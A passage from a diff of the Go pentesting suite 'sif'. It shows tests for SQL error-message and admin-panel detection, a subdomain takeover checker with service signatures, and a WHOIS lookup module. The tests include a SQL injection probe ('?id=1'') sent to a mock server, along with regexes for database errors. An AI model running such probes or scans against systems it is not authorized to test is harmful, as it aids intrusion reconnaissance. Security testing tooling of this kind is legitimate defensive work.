|
||||
result := isAdminPanel(tt.body, "Database Interface")
|
||||
if result != tt.expected {
|
||||
t.Errorf("isAdminPanel(%q, 'Database Interface') = %v, want %v", tt.body, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSQLResult_Fields(t *testing.T) {
|
||||
result := SQLResult{
|
||||
AdminPanels: []SQLAdminPanel{
|
||||
{
|
||||
URL: "http://example.com/phpmyadmin/",
|
||||
Type: "phpMyAdmin",
|
||||
Status: 200,
|
||||
},
|
||||
},
|
||||
DatabaseErrors: []SQLDatabaseError{
|
||||
{
|
||||
URL: "http://example.com/?id=1'",
|
||||
DatabaseType: "MySQL",
|
||||
ErrorPattern: "mysql.*error",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
if len(result.AdminPanels) != 1 {
|
||||
t.Errorf("expected 1 admin panel, got %d", len(result.AdminPanels))
|
||||
}
|
||||
if result.AdminPanels[0].Type != "phpMyAdmin" {
|
||||
t.Errorf("expected type 'phpMyAdmin', got '%s'", result.AdminPanels[0].Type)
|
||||
}
|
||||
if len(result.DatabaseErrors) != 1 {
|
||||
t.Errorf("expected 1 database error, got %d", len(result.DatabaseErrors))
|
||||
}
|
||||
if result.DatabaseErrors[0].DatabaseType != "MySQL" {
|
||||
t.Errorf("expected database type 'MySQL', got '%s'", result.DatabaseErrors[0].DatabaseType)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDatabaseErrorPatterns_MySQL(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"mysql error", "MySQL Error: Something went wrong", true},
|
||||
{"mysql syntax", "You have an error in your SQL syntax", true},
|
||||
{"mysql fetch", "Warning: mysql_fetch_array()", true},
|
||||
{"no error", "Welcome to our website", false},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
found := false
|
||||
for _, pattern := range databaseErrorPatterns {
|
||||
if pattern.pattern.MatchString(tc.body) {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if found != tc.expected {
|
||||
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDatabaseErrorPatterns_PostgreSQL(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"postgresql error", "PostgreSQL Error: connection failed", true},
|
||||
{"pg_query", "Warning: pg_query(): Query failed", true},
|
||||
{"unterminated string", "ERROR: unterminated quoted string", true},
|
||||
{"no error", "Welcome to our website", false},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
found := false
|
||||
for _, pattern := range databaseErrorPatterns {
|
||||
if pattern.pattern.MatchString(tc.body) {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if found != tc.expected {
|
||||
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDatabaseErrorPatterns_SQLServer(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"mssql error", "MSSQL Error: invalid query", true},
|
||||
{"sql server error", "Microsoft SQL Server Error", true},
|
||||
{"unclosed quote", "Unclosed quotation mark after the character string", true},
|
||||
{"no error", "Welcome to our website", false},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
found := false
|
||||
for _, pattern := range databaseErrorPatterns {
|
||||
if pattern.pattern.MatchString(tc.body) {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if found != tc.expected {
|
||||
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDatabaseErrorPatterns_Oracle(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"ora error code", "ORA-00942: table or view does not exist", true},
|
||||
{"oracle error", "Oracle Error: invalid identifier", true},
|
||||
{"no error", "Welcome to our website", false},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
found := false
|
||||
for _, pattern := range databaseErrorPatterns {
|
||||
if pattern.pattern.MatchString(tc.body) {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if found != tc.expected {
|
||||
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSQLAdminPanelDetection(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/phpmyadmin/":
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("<html><title>phpMyAdmin</title></html>"))
|
||||
case "/adminer/":
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("<html><title>Adminer</title></html>"))
|
||||
default:
|
||||
w.WriteHeader(http.StatusNotFound)
|
||||
}
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
// this is a basic test to verify the server mock works
|
||||
resp, err := http.Get(server.URL + "/phpmyadmin/")
|
||||
if err != nil {
|
||||
t.Fatalf("failed to get phpmyadmin: %v", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Errorf("expected status 200 for /phpmyadmin/, got %d", resp.StatusCode)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSQLDatabaseErrorDetection(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Query().Get("id") == "1'" {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("MySQL Error: You have an error in your SQL syntax"))
|
||||
} else {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("Welcome to our website"))
|
||||
}
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
// verify server returns mysql error for injection attempt
|
||||
resp, err := http.Get(server.URL + "/?id=1'")
|
||||
if err != nil {
|
||||
t.Fatalf("failed to make request: %v", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Errorf("expected status 200, got %d", resp.StatusCode)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,183 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// SubdomainTakeoverResult represents the outcome of a subdomain takeover vulnerability check.
|
||||
// It includes the subdomain tested, whether it's vulnerable, and the potentially vulnerable service.
|
||||
type SubdomainTakeoverResult struct {
|
||||
Subdomain string `json:"subdomain"`
|
||||
Vulnerable bool `json:"vulnerable"`
|
||||
Service string `json:"service,omitempty"`
|
||||
}
|
||||
|
||||
// SubdomainTakeover checks for potential subdomain takeover vulnerabilities.
|
||||
//
|
||||
// Parameters:
|
||||
// - url: the target URL to scan
|
||||
// - dnsResults: a slice of subdomains to check (typically from Dnslist function)
|
||||
// - timeout: maximum duration for each subdomain check
|
||||
// - threads: number of concurrent threads to use
|
||||
// - logdir: directory to store log files (empty string for no logging)
|
||||
//
|
||||
// Returns:
|
||||
// - []SubdomainTakeoverResult: a slice of results for each checked subdomain
|
||||
// - error: any error encountered during the scan
|
||||
func SubdomainTakeover(url string, dnsResults []string, timeout time.Duration, threads int, logdir string) ([]SubdomainTakeoverResult, error) {
|
||||
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("Subdomain Takeover Vulnerability Check") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "Subdomain Takeover Vulnerability Check"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
subdomainlog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "Subdomain Takeover 🔍",
|
||||
})
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(threads)
|
||||
|
||||
resultsChan := make(chan SubdomainTakeoverResult, len(dnsResults))
|
||||
|
||||
for thread := 0; thread < threads; thread++ {
|
||||
go func(thread int) {
|
||||
defer wg.Done()
|
||||
|
||||
for i, subdomain := range dnsResults {
|
||||
if i%threads != thread {
|
||||
continue
|
||||
}
|
||||
|
||||
vulnerable, service := checkSubdomainTakeover(subdomain, client)
|
||||
result := SubdomainTakeoverResult{
|
||||
Subdomain: subdomain,
|
||||
Vulnerable: vulnerable,
|
||||
Service: service,
|
||||
}
|
||||
resultsChan <- result
|
||||
|
||||
if vulnerable {
|
||||
subdomainlog.Warnf("Potential subdomain takeover: %s (%s)", styles.Highlight.Render(subdomain), service)
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("Potential subdomain takeover: %s (%s)\n", subdomain, service))
|
||||
}
|
||||
} else {
|
||||
subdomainlog.Infof("Subdomain not vulnerable: %s", subdomain)
|
||||
}
|
||||
}
|
||||
}(thread)
|
||||
}
|
||||
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultsChan)
|
||||
}()
|
||||
|
||||
var results []SubdomainTakeoverResult
|
||||
for result := range resultsChan {
|
||||
results = append(results, result)
|
||||
}
|
||||
|
||||
return results, nil
|
||||
}
|
||||
|
||||
func checkSubdomainTakeover(subdomain string, client *http.Client) (bool, string) {
|
||||
resp, err := client.Get("http://" + subdomain)
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "no such host") {
|
||||
// Check if CNAME exists
|
||||
cname, err := net.LookupCNAME(subdomain)
|
||||
if err == nil && cname != "" {
|
||||
return true, "Dangling CNAME"
|
||||
}
|
||||
}
|
||||
return false, ""
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024))
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
bodyString := string(body)
|
||||
|
||||
// Check for common takeover signatures in the response
|
||||
signatures := map[string]string{
|
||||
"GitHub Pages": "There isn't a GitHub Pages site here.",
|
||||
"Heroku": "No such app",
|
||||
"Shopify": "Sorry, this shop is currently unavailable.",
|
||||
"Tumblr": "There's nothing here.",
|
||||
"WordPress": "Do you want to register *.wordpress.com?",
|
||||
"Amazon S3": "The specified bucket does not exist",
|
||||
"Bitbucket": "Repository not found",
|
||||
"Ghost": "The thing you were looking for is no longer here, or never was",
|
||||
"Pantheon": "The gods are wise, but do not know of the site which you seek.",
|
||||
"Fastly": "Fastly error: unknown domain",
|
||||
"Zendesk": "Help Center Closed",
|
||||
"Teamwork": "Oops - We didn't find your site.",
|
||||
"Helpjuice": "We could not find what you're looking for.",
|
||||
"Helpscout": "No settings were found for this company:",
|
||||
"Cargo": "If you're moving your domain away from Cargo you must make this configuration through your registrar's DNS control panel.",
|
||||
"Uservoice": "This UserVoice subdomain is currently available!",
|
||||
"Surge": "project not found",
|
||||
"Intercom": "This page is reserved for artistic dogs.",
|
||||
"Webflow": "The page you are looking for doesn't exist or has been moved.",
|
||||
"Kajabi": "The page you were looking for doesn't exist.",
|
||||
"Thinkific": "You may have mistyped the address or the page may have moved.",
|
||||
"Tave": "Sorry, this page is no longer available.",
|
||||
"Wishpond": "https://www.wishpond.com/404?campaign=true",
|
||||
"Aftership": "Oops.</h2><p class=\"text-muted text-tight\">The page you're looking for doesn't exist.",
|
||||
"Aha": "There is no portal here ... sending you back to Aha!",
|
||||
"Brightcove": "<p class=\"bc-gallery-error-code\">Error Code: 404</p>",
|
||||
"Bigcartel": "<h1>Oops! We couldn’t find that page.</h1>",
|
||||
"Activecompaign": "alt=\"LIGHTTPD - fly light.\"",
|
||||
"Compaignmonitor": "Double check the URL or <a href=\"mailto:help@createsend.com",
|
||||
"Acquia": "The site you are looking for could not be found.",
|
||||
"Proposify": "If you need immediate assistance, please contact <a href=\"mailto:support@proposify.biz",
|
||||
"Simplebooklet": "We can't find this <a href=\"https://simplebooklet.com",
|
||||
"Getresponse": "With GetResponse Landing Pages, lead generation has never been easier",
|
||||
"Vend": "Looks like you've traveled too far into cyberspace.",
|
||||
"Jetbrains": "is not a registered InCloud YouTrack.",
|
||||
"Azure": "404 Web Site not found.",
|
||||
}
|
||||
|
||||
for service, signature := range signatures {
|
||||
if strings.Contains(bodyString, signature) {
|
||||
return true, service
|
||||
}
|
||||
}
|
||||
|
||||
return false, ""
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
"github.com/likexian/whois"
|
||||
)
|
||||
|
||||
func Whois(url string, logdir string) {
|
||||
fmt.Println(styles.Separator.Render("💭 Starting " + styles.Status.Render("WHOIS Lookup") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, " WHOIS scanning"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
whoislog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "WHOIS 💭",
|
||||
})
|
||||
|
||||
whoislog.Infof("Starting WHOIS")
|
||||
|
||||
result, err := whois.Whois(sanitizedURL)
|
||||
if err == nil {
|
||||
log.Info(result)
|
||||
logger.Write(sanitizedURL, logdir, result)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user